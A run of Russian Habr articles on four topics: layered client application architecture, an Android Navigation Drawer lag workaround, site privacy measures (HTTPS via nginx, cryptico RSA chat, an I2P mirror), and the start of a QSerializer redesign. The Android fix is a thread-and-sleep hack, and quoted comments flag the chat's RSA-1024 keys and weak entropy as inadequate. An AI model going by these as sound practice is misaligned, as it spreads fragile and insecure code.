Properties.Values.Select(prop => prop.Save()).ToArray()
);
}
}
```
**Третий системный уровень — это уровень сервисов и служб.** В настоящий момент данный слой содержит только один сервис. Это — компилятор. Компилятор осуществляет преобразование эффекта в бинарный формат, который затем может быть использован движком.
Какое-то время назад редактор визуальных эффектов не был интегрирован с игровым движком. Это были два разных приложения. И для того, чтобы визуальный эффект можно было посмотреть, как он выглядит, существовал еще один сервис, который позволял обмениваться данными между клиентской программой (редактором визуальных эффектов) и сервером, в роли которого выступала программа-просмотр. Этот сервис назывался коммуникатором.
Таким образом, ранее было два сервиса. А сейчас, поскольку произошла интеграция редактора визуальных эффектов с игровым движком, необходимость в коммуникаторе отпала, и остался один сервис — компилятор.
**Четвертым системным уровнем является уровень редактирования.** Он реализует две архитектуры:
1. Архитектуру Документ/Вид, которая позволяет открывать файлы визуальных эффектов в исходном формате и создавать для их редактирования и отображения различные виды.
2. Undo/Redo Management, которая представляет собой стек команд, которые могут быть выполнены или отменены при редактировании эффекта.
В качестве **пятого системного уровня выступает уровень взаимодействия с пользователем**, который содержит различные контролы. В нашем случае такими контролами являются линия времени (timeline), треки, редактор свойств и т.д.
Пример 2. Редактор Genome
=========================
Обзор
-----
Вторым приложением, архитектуру которого мне хочется рассмотреть, является редактор анимационных блюпринтов. Блюпринт — это программный модуль, реализующий определенную функциональность, но не написанный на языке программирования, а представленный в виде графа. Получается, что редактор блюпринтов — это средство визуального программирования.
Впервые блюпринты были реализованы в движке Unreal Engine 4 [2]. Они используются для разных целей, в том числе, для “программирования” логики игровой сцены или поведения персонажа.
В современных видеоиграх для создания качественной картинки 3D-аниматорам приходится делать очень много различных анимаций. Если речь идет о создании человекоподобного персонажа, то нужно анимировать множество движений: походку, бег, прыжок, приседание, поднимание рук (вместе и каждой руки по отдельности) и т.д.
Часто поведение персонажа нельзя свести к проигрыванию одной из анимаций или к проигрыванию какой-то заранее определенной последовательности этих анимаций. Порою анимации нужно совмещать. Например, персонаж может идти и одновременно нести чашку с горячим кофе в правой руке. Не останавливаясь, он может подносить эту чашку ко рту, чтобы сделать глоток.
Современные 3D-движки позволяют смешивать различные персонажные анимации, т.е. проигрывать их одновременно. Такое требуется для плавного перехода от одной анимации к другой или же когда одна анимация проигрывается на одной части скелета персонажа, а другая — на другой. Для того, чтобы задать логику подобного смешения и используется редактор анимационных блюпринтов. Впервые он появился в движке Unreal Engine 4. И поскольку он показался удобным нашим 3D-аниматорам, то потребовалось создать подобный редактор и у нас.
*Главное окно редактора Genome*
Анимационный блюпринт представляет собой граф. Он состоит из узлов и соединительных линий. Линии можно провести не в произвольное место узла, а к определенному сокету. Каждый узел графа может содержать один или несколько сокетов.
Узлы представляют собой различные операции, например, сравнение, сложение, вычитание, цикл, ветвление и т.д.
*Примеры узлов-операций*
Есть и более сложные узлы такие, как машина состояний. Сложные узлы содержат в себе вложенные графы. Например, машина состояний содержит в себе граф состояний, каждый узел которого обозначает определенное состояние, а соединительные линии — условные переходы. Состояния тоже содержат вложенные графы.
*Машина состояний*
Для попадания во вложенный граф пользователь должен дважды кликнуть по узлу мышью. Вложенный граф можно редактировать точно также, как и родительский. Он тоже состоит из узлов и соединительных линий.
Каждый узел может иметь один или несколько сокетов. Сокеты располагаются с левой и правой сторон узла. Сокеты, которые расположены слева, называются входными, а расположенные справа — выходными. Во входные сокеты поступают входные данные или управляющие сигналы, а из выходных сокетов могут быть получены результаты выполнения операции, за которую отвечает узел.
*Узлы с различными входными и выходными сокетами*
Сокеты являются типизированными, как и соединительные линии между ними. Существуют сокеты для целых и вещественных чисел, для булевских значений и строк. Типизация сокетов позволяет избежать ошибок, когда выходной сокет одного типа соединяется с входным сокетом другого типа, например, строка с целым числом. Напрямую такое соединение невозможно, только через вспомогательный узел, который выполняет операцию преобразования типа.
Соединительные линии между сокетами задают потоки данных и потоки управления. Для организации потоков управления существуют специализированные сокеты, которые в анимационном графе называются animation pose, а в графе событий — exec.
Подробнее о блюпринтах, узлах и сокетах можно прочитать в [Blueprints Visual Scripting](https://docs.unrealengine.com/latest/INT/Engine/Blueprints/index.html) из руководства Unreal Engine 4 Documentation [2]. В редакторе Genome был использован аналогичный подход.
Архитектура
-----------
Архитектура редактора анимационных блюпринтов может быть представлена иерархией из 5-ти системных уровней. Эта иерархия похожа на ту, что используется и в редакторе визуальных эффектов. Названия уровней, их назначения, отдельные компоненты практически совпадают. Но есть и различия, на которые мне хочется обратить ваше внимание.
Различия обусловлены тем, что в основе редактора анимационных блюпринтов лежит редактор графов. Была поставлена задача переиспользовать этот редактор при переписывании других приложений: редактора материалов и редактора диалогов.
Это означает, что нельзя ограничиться одной моделью данных, которая будет представлять графы для анимационных блюпринтов. Нужна некоторая базовая модель данных для всех возможных графов. И нужен некоторый фреймворк для создания и редактирования графов. Этот фреймворк должны использовать конкретные редакторы: редактор анимационных блюпринтов, редактор диалогов, редактор материалов и т.п.
**Инфраструктурный уровень** редактора анимационных блюпринтов практически ничем не отличается от аналогичного уровня редактора визуальных эффектов за одним исключением. Поскольку контрол для визуализации графов реализован с помощью технологии WPF, то инфраструктурный слой содержит всякие вспомогательные классы, облегчающие работу с WPF, а также — стили для используемых контролов. Стили применяются не только в редакторе Genome, но и в других приложениях. Поэтому они расположены на уровне инфраструктуры.
**Модель данных** разделена на две части. Первая часть — это обобщенная модель данных для любого графа и любого блюпринта. Она представляет собой иерархический граф. Граф содержит узлы и соединительные линии. Некоторые узлы могут содержать в себе другие графы.
Вторая часть — это модель данных для анимационных блюпринтов. Она содержит в себе классы, которые описывают узлы анимационного блюпринта. К таким узлам относятся математические операции, операции сравнения, операции преобразования типов, операции смешивания анимаций и т.д. Отдельные классы представляют сокеты и соединительные линии.
Поверх модели данных располагается **уровень сервисов**. Как и в случае с редактором визуальных эффектов, данный уровень содержит только один сервис — компилятор. Компилятор преобразует анимационный блюпринт в исходном формате в бинарный формат, который воспроизводится движком.
**Уровень редактирования** разделен на три части. Первая часть — это библиотека, которая содержит базовые классы для архитектуры Документ/Вид и для управления Undo/Redo. Эта библиотека используется как в редакторе анимационных блюпринтов, так и в редакторе визуальных эффектов.
Вторая библиотека отвечает за редактирование графов. Она позволяет пользователю создавать узлы, расставлять их в окне редактирования, соединять узлы коннекторами различных типов, а также — удалять узлы и переключаться между вложенными графами. Однако эта библиотека имеет дело с обобщенной моделью графов и ничего не знает о конкретных узлах для редактора анимационных блюпринтов.
Третья библиотека предназначена для редактирования анимационных блюпринтов. Она позволяет создавать, удалять, редактировать конкретные узлы анимационного блюпринта.
**Уровень взаимодействия с пользователем** тоже разбит на три части. Первая часть содержит базовые компоненты пользовательского интерфейса. Второй часть содержит компоненты интерфейса, используемые для редактирования графов. А третья часть содержит компоненты пользовательского интерфейса, используемые для редактирования анимационных блюпринтов.
В целом, архитектуры редактора визуальных эффектов и редактора анимационных блюпринтов очень похожи и состоят из одних и тех же системных уровней. Однако имеются и различия, которые обуславливаются необходимостью создания обобщенной библиотеки для редактирования графов. Эти различия выливаются в то, что, прежде всего, модель данных разделяется на две части:
* обобщенную модель данных, которая описывает некий обобщенный граф;
* и конкретную модель данных, которая описывает граф конкретного вида — анимационный блюпринт.
Вместе с моделью данных такое же разделение происходит и на уровне редактирования, и на уровне взаимодействия с пользователем.
Пример 3. GPS-навигатор
=======================
Обзор
-----
В третьем примере мне хотелось бы рассмотреть создание GPS-навигационного приложения для смартфона. Эта программа отличается от рассмотренных в предыдущих двух примерах приложений: редактора визуальных эффектов и редактора анимационных блюпринтов.
Основное отличие заключается в том, что редакторы нацелены на создание и редактирование документов в то время, как GPS-навигатор предназначен для оказания услуг.
К таким услугам относятся:
1. Помощь пользователю в ориентации на местности. Эта услуга осуществляется путем отрисовки карты местности и указания места, где находится пользователь. При движении пользователя показывается и направление этого движения.
2. Построение маршрута в заданную точку. Место назначение может быть задано как путем указания точки на карте, так и при помощи поиска.
3. Поиск конкретного адреса или места пересечения двух дорог.
4. Поиск ближайших точек интереса: кафе, автозаправочных станций, банкоматов и т.д.
Не смотря на нацеленность навигационной системы на оказание услуг, тем не менее, она также позволяет создавать и редактировать некоторые несложные документы. К ним относятся:
* профиль пользователя;
* история поиска точек интереса и адресов;
* редактирование списка фаворитов (домашний адрес, адрес места работы и другие).
Архитектура
-----------
Архитектура GPS-навигатора может быть представлена уже известной нам иерархией из 5-ти системных уровней.
Первый, самый нижний, **инфраструктурный уровень** состоит из библиотек и утилит, которые используются сквозным образом во всем приложении. Поскольку навигационная система разрабатывалась с использованием языков программирования C и C++, то в число этих библиотек входили:
* библиотека stlport, которая содержит набор стандартных контейнеров и алгоритмов и собирается под разные платформы;
* библиотека zlib, которая позволяет сжимать и разжимать данные при помощи алгоритма deflate;
* библиотеки libpng и libjpeg для работы с изображениями растровой графики в форматах png и jpeg;
* библиотека aes для шифрования данных и создания электронных подписей;
* библиотека expat xml parser для чтения и разбора xml-файлов.
**Уровень модели данных** является наиболее сложным по сравнению с аналогичными уровнями в других рассмотренных приложениях. Дело в том, что скорость работы многих алгоритмов навигации определяется скоростью доступа к необходимым данным. Поэтому данные нужно организовать таким образом, чтобы скорость доступа была высокой.
Данные содержат картографическую информацию, которая затем используется для рисования карт, прокладки маршрута, поиска координат по адресу.
Уровень модели данных может быть разделен на два подуровня:
* база данных;
* слой доступа к данным.
База данных содержит навигационные данные: карты, почтовые индексы, точки интереса, историю поездок, список мест-фаворитов.
Слой доступа к данным получает данные из базы данных и предоставляет их вышестоящему уровню в виде соответствующих структур данных.
Изначально карты в исходном формате поступают на вход компилятора, который преобразует их в промежуточный формат. Как правило, в качестве исходного формата выступает GDF 3.0. Это текстовый файл с определенной разметкой. Нередко одна карта, представленная в GDF 3.0, “весит” более одного гигабайта. Чтобы представить дорожную сеть Великобритании, необходимо 7 таких карт. В качестве промежуточного выступает бинарный формат, который позволяет представить полную информацию в компактной форме.
Далее карты в промежуточном формате поступают на вход пяти компиляторам, которые преобразуют их в специализированные базы данных.
Первая специализированная база данных содержит информацию, необходимую для отрисовки карты. Она включает не только дороги, но и различные области такие, как парки, водоемы, леса. Основное требование к ней — быстрый доступ ко всем элементам, которые находятся в заданной области.
Вторая специализированная база данных хранит информацию, необходимую для построения маршрута. В отличие от базы данных для рисования, она содержит информацию только о дороге. Для построения маршрута не нужно что-либо знать о водоемах, лесах, парках и геометрии дорожных элементов. Требуется только длина дорожного элемента, максимальная скорость и направление движения. Основное требование к ней — это быстрый доступ к соседним дорожным элементам.
Третья специализированная база данных содержит адреса. Основное требование к ней — это быстрый поиск адреса по введенному тексту и дорожного элемента по адресу.
Четвертая специализированная база данных содержит информацию о почтовых индексах. Основное требование к ней — это быстрый поиск координат района по почтовому индексу.
Пятая база данных содержит информацию о различных точках интереса (ресторанах, кафе, автозаправочных станциях, банкоматах и т.п.). Основное требование к ней заключается в быстром нахождении точек интереса в пределах определенной области.
Для доступа к картографическим данным используется слой доступа к данным.
Таким образом, модель данных для GPS-навигатора включает в себя:
* карты в исходном (текстовом) формате;
* компилятор для преобразования карт из текстового формата в промежуточный бинарный;
* пять специализированных компиляторов, которые формируют специализированные базы данных:
+ базу данных для рисования карт;
+ базу данных для построения маршрута;
+ базу данных для поиска координат по адресу;
+ базу данных почтовых индексов;
+ базу данных точек интереса;
* слой доступа к данным, которые обеспечивает доступ к данным из специализированных баз данных.
Поверх модели данных располагается **уровень сервисов**. Поскольку GPS-навигатор — это приложение, ориентированное на оказание услуг, то этот уровень включает несколько функционально-ориентированных модулей. Каждый модуль отвечает за какую-нибудь одну ключевую функцию или же группу похожих ключевых функций навигационной системы.
Можно выделить такие модули:
1. **Растеризатор карты.** Формирует двумерное или трехмерное представление карты в заданной области.
2. **Модуль роутинга.** Отвечает за прокладку маршрута из текущего местоположения в заданную точку.
3. **Модуль поиска адреса.** Отвечает за поиск координат по адресу.
4. **Модуль поиска по индекса.** Отвечает за поиск координат по почтовому индексу.
5. **Модуль поиска точек интереса.** Отвечает за нахождение точек интереса в пределах заданной области.
6. **Навигатор.** Отвечает за формирование и выдачу навигационных указаний при движении по маршруту.
**Уровень редактирования** является достаточно небольшим и не содержит слишком много кода. Причина этого заключается в том, что навигационная система предназначена для оказания услуг пользователя и не предназначена для создания и редактирования каких-то документов.
Можно выделить 3 основных функции, которые можно делегировать уровню редактирования:
* работа с профилями пользователей (у навигационной системы могут быть несколько пользователей, и данные каждого пользователя должны сохраняться в отдельном профиле);
* создание и управление списком мест-фаворитов;
* сохранение истории поездок (в простейшем случае — сохранение точек назначения).
В принципе, GPS-навигатор может спокойно обойтись и без слоя редактирования. Но если хочется поддержать профили, то работа с ними может быть делегирована такому слою.
**Уровень взаимодействия с пользователем** отвечает за представление информации для пользователя на экране или на звуковой карте устройства, а также — за обработку ввода со стороны пользователя. Он содержит различные экраны и органы управления. Уровень взаимодействия с пользователем может поддерживать скины, если есть необходимость сделать интерфейс удобным при работе на разных устройствах.
Итоги
=====
Подведем итоги рассмотрения архитектур трех приложений.
1. Архитектура клиентского приложения может быть представлена иерархией из пяти системных уровней:
>
> 1. Инфраструктурный уровень содержит библиотеки, которые используются во всем приложении.
> 2. Уровень модели данных содержит классы, описывающие предметную область.
> 3. Уровень сервисов предоставляет услуги для пользователя. К таким услугам относятся: компиляция, прокладка маршрута, поиск координат по адресу и т.д. Каждая услуга помещается в отдельный модуль, который называется сервисом.
> 4. Уровень редактирования предназначен для создания и редактирования документов. Он также поддерживает возможность отмены операции.
> 5. Уровень взаимодействия с пользователем отвечает за представление данных в удобном для пользователя виде, а также — за обработку ввода. Он содержит различные органы управления.
2. Каждый уровень может содержать один или несколько модулей, или же быть пустым. В последнем случае он остается в пятиуровневой модели только из общесистемных соображений.
3. Количество модулей, расположенных на уровне, зависит от типа приложения. Если разрабатывается приложение, предназначенное для редактирования различных документов, то будут насыщенными уровни редактирования и взаимодействия с пользователем. Если же создается приложение, нацеленное на оказание услуг пользователю, то будет насыщенным уровень сервисов в то время, как уровень редактирования будет небольшим.
4. Сложность модели данных зависит от объема данных и от требований по производительности. В ряде случаев модель данных можно реализовать в виде самосериализуемых в XML классов. И этого будет достаточно. В других случаях потребуется создать базы данных со сложными структурами данных, оптимизированные для произвольного доступа. При использовании таких баз данных потребуется разработка программ-компиляторов, которые тоже относятся к модели данных.
5. Если требуется разработать линейку приложений, позволяющих редактировать или отображать однотипные данные (например, графы), то необходимо разделить модель данных на одну обобщенную и несколько специализированных (по числу разрабатываемых приложений). Такое разделение пройдет и через вышестоящие уровни: уровень редактирования и уровень взаимодействия с пользователем.
Литература
==========
1. [Document/View Architecture](https://msdn.microsoft.com/en-us/library/4x1xy43a.aspx)
2. [Blueprint Visual Scripting/Unreal Engine 4 Documentation](https://docs.unrealengine.com/latest/INT/Engine/Blueprints/index.html)
3. [Introduction to Undo Architecture](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/UndoArchitecture/UndoArchitecture.html)
4. [Gregory, Jason. Game Engine Architecture](https://books.google.ru/books?id=LlLSBQAAQBAJ&hl=ru)
5. [Руководство Microsoft по проектированию архитектуры приложений, 2-е издание](http://download.microsoft.com/documents/rus/msdn/%D1%80%D1%8B_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9_%D0%BF%D0%BE%D0%BB%D0%BD%D0%B0%D1%8F_%D0%BA%D0%BD%D0%B8%D0%B3%D0%B0.pdf)
6. [Лебедев К.А., Сычев С.В. О потерянном уровне](http://www.triz-ri.ru/management/?id=279&name=o_poteryannom_urovne)
7. Фаулер, Мартин. Архитектура корпоративных программных приложений. – Пер. с англ. – М.: Издательский дом «Вильямс», 2006. – 544 с.: ил.
8. [@cobiot. Охота на мифический MVC. Обзор, возвращение к первоисточниками и про то, как анализировать и выводить шаблоны самому](https://habrahabr.ru/post/321050/)
9. [@cobiot. Охота на мифический MVC. Построение пользовательского интерфейса](https://habrahabr.ru/post/322700/)
*Автор благодарит своих коллег за помощь при подготовке статьи.* | https://habr.com/ru/post/329032/ | null | ru | null |
# Как я с лагом Navigation Drawer боролся
Привет, Хабр!
Меня зовут Алексей. Я разрабатываю под Android. Отладка в эмуляторе подобна смерти, поэтому я пользуюсь своим HTC Desire HD. Зверёк уже очень древний, за что я не могу его не любить, потому что любые шероховатости и неровности в приложении на нём отдаются славными лагами. Кстати, очень рекомендую запускать свои проекты на аппаратах средней мощности, ведь не у всех пользователей флагманы. Так вот, работая над своим новым приложением, я обнаружил, что при переключении между фрагментами через Navigation Drawer шторка навигации заметно пролагивает. При создании фрагмента делались запросы к базе и подгружались SharedPreferences. Мне было просто противно наблюдать этот лаг, и я придумал как избавиться от него. Всех, кому интересно, прошу под кат.
Я создал простенький проект с NavigationDrawer и тремя фрагментами (ссылка на Github в конце статьи). Код не претендует на звание идеального, я старался написать максимально просто и понятно. Код шторки взят прямо из [примеров](http://developer.android.com/training/implementing-navigation/nav-drawer.html) Google. Решил проблему я очень просто и в лоб: загрузка фрагмента запускается в отдельном потоке и задерживается на 0,3 секунды (магическое число, подобранное экспериментально).
Сначала вешаем слушателя на элементы списка так:
```
mDrawerList.setOnItemClickListener(new DrawerItemClickListener());
```
И метод selectItem был таким:
```
private void selectItem(int position) {
Fragment fragment = new ContentFragment();
Bundle args = new Bundle();
args.putInt("positions", position);
fragment.setArguments(args);
FragmentManager fragmentManager = getFragmentManager();
fragmentManager.beginTransaction().replace(R.id.content_frame, fragment).commit();
mDrawerList.setItemChecked(position, true);
setTitle(leftDrawerTitles[position]);
mDrawerLayout.closeDrawer(mDrawerList);
}
```
А чтобы убрать лаг, изменим эти два места:
1) Из selectItem перенесём в onCreate весь код по выделению активного элемента и закрытию Drawer. selectItem станет таким:
```
private void selectItem(int position) {
Fragment fragment = new ContentFragment();
Bundle args = new Bundle();
args.putInt("positions", position);
fragment.setArguments(args);
FragmentManager fragmentManager = getFragmentManager();
fragmentManager.beginTransaction().replace(R.id.content_frame, fragment).commit();
}
```
2) А в onCreate вешаем слушателя на элементы Drawer и запускаем поток:
```
mDrawerList.setOnItemClickListener(new AdapterView.OnItemClickListener() {
public void onItemClick(AdapterView adapterView, View view, final int position, long l) {
mDrawerList.setItemChecked(position, true);
setTitle(leftDrawerTitles[position]);
mDrawerLayout.closeDrawer(mDrawerList);
// Смена фрагмента запускается в отдельном потоке и задерживается на 0.3 секунды,
// чтобы избежать пролагивания при переключении
new Thread(new Runnable() {
public void run() {
try {
TimeUnit.MILLISECONDS.sleep(300);
selectItem(position);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}).start();
}
});
```
Вот и всё. Может быть это и нелепый костыль, но я всё равно был безумно рад, открыв его для себя.
P.S. Хотелось бы добавить про отладку на телефоне. Очень рекомендую пользоваться [ADB Over Wi-Fi](https://play.google.com/store/apps/details?id=bohlool.net.wifiadb) (требуются root права). Wi-Fi не ограничивает вас в передвижениях и в поворотах аппарата.
P.P.S. Очень хочу получить консруктивную критику и советы знающих людей.
Ссылка на репозиторий: <https://github.com/Rozag/Lags-free-navigation-drawer> | https://habr.com/ru/post/220835/ | null | ru | null |
# Безопасность ваших юзеров: OAuth, SSL, P2P-чат с RSA, гейт в i2p
Утопающие не собираются спасать себя самостоятельно, поэтому предлагаем вам сделать четыре простых шага к увеличению безопасности посетителей вашего сайта.
Начитавшись откровений Сноудена, решили немного поработать. Расскажу про наш опыт реализации, последствия и реакцию пользователей.
##### Шаг 1. Без регистрации
Если у пользователя нет учетной записи, то ее не сломают и не украдут. Основной функционал сайта должен быть доступен без регистрации. Если по каким-то причинам регистрация для некоторых пользователей нужна – используем OAuth по максимуму. Пусть у гугла с вконтакте голова болит от одинаковых паролей, а не у вас. Делается за пару часов [по инструкции](http://habrahabr.ru/post/145988/) ([тут много](http://habrahabr.ru/search/?q=OAUTH) ).
Последствия такого шага: больше «одноразовых» профилей.
##### Шаг 2. Только SSL, только хардкор
В эпоху тотальных логов юзеры могут опасаться использовать ваш сайт только потому, что не хотят, что бы кто-то знал о том, какие именно страницы они просматривали, что они искали в вашем поисковике, какие статьи читали, какие сообщения на форуме оставляли. Особенно важно если у вас много *разного* (как у нас) контента. Решение простое – **включаем https всем.**
Бесплатный сертификат получаем например [тут](http://www.startssl.com/?lang=ru).
Берем с официального сайта свежий nginx, ставим, правим конфиги.
Пример конфига:
```
server {
listen 80;
listen 443 ssl;
ssl_certificate ТУТ_ФАЙЛИК.pem;
ssl_certificate_key ТУТ_ФАЙЛИК.key.decr;
location /socket.io/ {
proxy_pass ХОСТ:ПОРТ_где_крутится_signalmaster;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
location / {
# для тех кто вдруг не по https
if ($ssl_protocol = "") {
rewrite ^ https://$server_name$request_uri? permanent;
}
proxy_pass http://rp_ups;
}
server_name rospravosudie.com www.rospravosudie.com;
}
upstream rp_ups {
# тут наши апстрим-сервера для веба
}
```
Проверяем все ли работает.
У вас пропадут картинки со сторонних ресурсов, ролики ютуба и прочие, которые вы (или юзеры) размещали с указанием протокола доступа . Лечится достаточно просто – автозаменой http на https в текстах. Если сторонние ресурсы “не умеют ssl”, то картинки пропадут, поэтому лучше закэшировать их к себе заранее. Удобный хинт – всегда использовать // ссылки без указания протокола – по умолчанию браузер будет пытаться открывать их по текущему протоколу (https).
Так же потребуется обновить код счетчиков статистики – Google Analytics, Liveinternet и Яндекс.Метрика замечательно работают по ssl. Проблем с кодами AdSense не возникает, про Яндекс и другие системы – не пробовали.
Необычных последствий с индексацией поисковиками не наблюдается – и Google и Яндекс индексируют как раньше.
Результат: провайдеры не видят какой контент смотрят ваши посетители (и не только провайдеры). Продвинутые пользователи тихо радуются, остальные ничего не замечают.
Примечание: нагрузка на сервер возрастает незначительно, на единицы процентов, на уровне погрешности.
##### Шаг 3. Cryptico
Если вы не храните сообщения пользователей, их не украдут никогда. Если вы не можете их прочитать – большинство злоумышленников тоже не смогут.
Для сохранения конфиденциальности в общении между пользователями мы реализовали p2p-шифрование на клиентах (в браузере) и не сохраняем закриптованный текст (в идеале его надо пускать напрямую).
В чатах шифруем сообщения между пользователями с использованием RSA. Для этого используем например библиотеку cryptico (лежит на гитхабе [github.com/wwwtyro/cryptico](https://github.com/wwwtyro/cryptico)), ключи обновляем при каждом сеансе связи.
Чат работает на node.js и socket.io (примеры чатов есть на Хабре). Сигнальный сервер спрятан за nginx (свежий nginx умеет проксировать вебсокеты), через nginx же реализован ssl для сигнального сервера.
Побочный эффект – отсутствие истории сообщений. *Невозможно самим узнать о чем болтают юзеры*. Сообщения можно отправлять только в онлайн.
##### Шаг 4. Поднимаем зеркало в i2p
Некоторые ваши пользователи могут хотеть скрыть сам факт посещения вашего сайта (по личным причинам). Не стоит усложнять им задачу.
Пользователей TOR и I2P в рунете примерно одинаковое количество (около 15-20 тысяч ежедневных живых людей), TOR-юзеры справляются самостоятельно, поэтому имеет смысл поднять зеркало в I2P.
Делается это достаточно быстро, по инструкции (http://habrahabr.ru/post/158559/ и [habrahabr.ru/post/97996/](http://habrahabr.ru/post/97996/))
Примечание: не забудьте удалить все лишние javascriptы, коды статистики, вызовы чужих сервисов, картинок и т. д. и т. п. из кода «зеркальной версии», что бы не скомпрометировать случайно ваших посетителей. Разумеется, noscript должен быть установлен у каждого пользователя I2P, равно как и заблокирован доступ к внешним сайтам, но, как показывает практика, обратная ситуация встречается довольно часто.
Последствия: вы не понимаете, кто все эти люди?
В целом же **шифрование — это легко и приятно!**
В общем, **призываем вас сделать рунет чуть-чуть более приватной зоной**. Учитывая последние тенденции по внедрению DPI, 12-часового хранения трафика, блокировок без суда-и-следствия в борьбе за копирайт — может пригодится (надеюсь нет).
Попробовать чат можно на сайтике [в профиле](https://rospravosudie.com/profile/).
P.S. Конструктивные параноидальные предложения, критика и вопросы от «людей в шапочках из фольги» приветствуется.
P.P.S. Если знаете более надежные аналоги cryptico — пишите в комментарии.
upd. возрождение из небытия, не удивляйтесь :)
upd2. немного информации из удаленных комментариев:
[starius](http://habrahabr.ru/users/starius/):
> завести в профиле пользователя поле "[torchat](https://github.com/prof7bit/TorChat)", чтобы стимулировать не только шифровать переписку (сайт это уже позволяет) но и скрывать от всех (включая сайт) факт переписки.
[symbix](http://habrahabr.ru/users/symbix/):
> if ($ssl\_protocol = "") { rewrite ^ https://$server\_name$request\_uri? permanent; }
>
> Это плохой способ. Правильно — примерно так:
>
> server { listen 80; location / { return 301 [rospravosudie.com](https://rospravosudie.com)$uri$is\_args$args; } }
>
> Хостнейм умышленно записан в явном виде, чтобы те, кто зашел, скажем, по ip-адресу, не пугались красной фигни. server\_name же применим не всегда (если он в данной конфигурации гарантированно подходит — можно и его).
[Hello1](http://habrahabr.ru/users/hello1/):
> 301 редирект тоже не верный способ. Его надо комбинировать с [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security).
>
> add\_header Strict-Transport-Security max-age=31536000;
>
> Тогда современные браузеры будут сами заменять все http на https для внутренних ссылок сайта.
[ivlad](http://habrahabr.ru/users/ivlad/):
> RSA1024 по нынешним меркам недостаточно. Нужно использовать RSA2048. Кроме того, у вас не используются современные версии TLS — только 1.0 (и SSLv3). Вам стоит обновить nginx и openssl.
[Lockal](http://habrahabr.ru/users/lockal/):
> Сколько можно повторять: перестаньте придумывать свои алгоритмы и переделывать чужие, особенно, если вы разбираетесь в криптографии! Вот такой перл в Cryptico встречается несколько раз:
>
> if(navigator.appName == «Netscape» && navigator.appVersion < «5» && window.crypto) {
>
>
>
> Действительно, кому нужен нормальный пул энтропии ГСЧ, если navigator.appVersion < «5»? Пусть все пользователи последних версий Firefox, Chrome и IE останутся получат пул энтропии, сгенерированный циклом из миллисекундного таймера. | https://habr.com/ru/post/201398/ | null | ru | null |
# Изменение UserAgent сторонними приложениями
При разработке одного интернет-магазина возникла проблема, что не добавляются товары в корзину.
В результате дебаггинга выяснилось, что CMS принимает меня за поискового робота, а им покупать ничего нельзя :-)
Причина:
`...
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) **FirePHP/0.3**
...`
В CMS стоит проверка регуляркой, что все с юзерагентом PHP/ — помечаются как PHP
Что делать и кто виноват?
Разработчик FirePHP?
Возможно, не нужно мой юзерагент менять — это святое.
Разработчики CMS?
С одной стороны защищаются от роботов, с другой магазины теряют покупателей-девелоперов.
qip, skype и т.п. тоже любят менять юзерагент.
Я считаю так:
У роботов-поисковиков кук нет. Отсюда нет возможности иметь свою корзину… да и вообще есть noindex и nofollow + кланье в корзину реализуется как правило сабмитом, а поисковики не должны ничего сабмитить.
Поэтому запрещать покупку по юзерагенту — неправильно.
А злоумышленник всегда свой юзерагент поменяет без проблем.
P.S. И как пользователям защищаться от приложений меняющих useragent? | https://habr.com/ru/post/77313/ | null | ru | null |
# QSerializer умер, да здравствует QSerializer
Прошло несколько месяцев с тех пор, как я [здесь](https://habr.com/ru/post/496836/) рассказал о своем проекте Qt-based библиотеки для сериализации данных из объектного вида в JSON/XML и обратно. Надо признать — реализация получилась, прямо скажем, спорной.
Все это вылилось в масштабную переработку, о результатах которой пойдет речь в этой статье. За подробностями — под кат!
QSerializer умер
================
У QSerializer были недостатки, решение которых зачастую становилось еще большим недостатком, вот несколько из них:
* Очень дорого (сериализация, содержание хранителей свойств на куче, контроль времени жизни хранителей и т.д.)
* Работа только с QObject-based классами
* Вложенные «сложные» объекты и их коллекции должны так же являться QObject-based
* Невозможность дополнять коллекции при десериализации
* Только теоретически бесконечная вкладываемость
* Отсутствие возможности работать со значимыми типами «сложных» объектов, по причине запрета на копирование у QObject
* Необходимость обязательной регистрации типов в метаобъектной системе Qt
* Типичные «библиотечные» проблемы вроде проблем с линковкой и переносимостью между платформами
Помимо прочего, хотелось иметь возможность у любого объекта сериализоваться «здесь и сейчас», когда для этого приходилось пользоваться огромной обвязкой методов в пространстве имен QSerializer.
Да здравствует QSerializer!
===========================
QSerializer не был полноценным. Необходимо было придумать решение, при котором бы пользователь не зависел от QObject, была возможность работать со значимыми типами и подешевле.
В [комментарии](https://habr.com/ru/post/496836/#comment_21505630) к [предыдущей статье](https://habr.com/ru/post/496836/), пользователь [microla](https://habr.com/ru/users/microla/) заметил, что можно подумать над применением Q\_GADGET.
Достоинства Q\_GADGET:
* Не накладывает ограничений на копирование
* Имеет статический экземпляр QMetaObject для доступа к properties
Оперевшись на Q\_GADGET, пришлось пересмотреть подход к способам создания JSON и XML на основе задекларированных полей класса. Проблема «дороговизны» проявлялась в первую очередь из за:
* Большого размера класса-хранителя (по меньшей мере 40 байт)
* Выделения кучи под новые сущности хранителей для каждого property и контроль их TTL
**Для снижения стоимости я сформулировал следующее требование:**
> Наличие в каждом сериализуемом объекте методов-проводников для сериализации/десериализации всех properties класса и наличие для каждого property методов чтения и записи значений с использованием отведенного для этого property формата
Макросы
-------
Обойти строгую типизацию С++, усложняющую автоматическую сериализацию, не так просто, и предыдущий опыт это показал. Макросы же могут послужить прекрасным подспорьем для решения такой проблемы (практически вся метаобъектная система Qt построена на макросах), ведь с помощью макросов можно сделать кодогенерацию методов и properties.
Да, зачастую макросы представляют из себя зло в чистом виде — их практически невозможно отлаживать. Написание макроса для генерации кода я мог бы сравнить с надеванием хрустальной туфельки на пятку вашего босса, но сложно — не значит невозможно!
**Лирическое отступление о макросах**
> Макрос — это просто набор лексем, и думать о макросах мы должны именно с точки зрения текста, который после разворачивания должен стать «компилируемым» текстом (токеном). Поэтому макросы можно рассматривать как правила для составления блоков текста.
>
>
Декларация класса
-----------------
Для декларации сериализуемой единицы в QSerializer необходимо:
1. Унаследоваться от класса QSerializer
2. Включить макрос Q\_GADGET
3. Включить макрос QS\_SERIALIZABLE
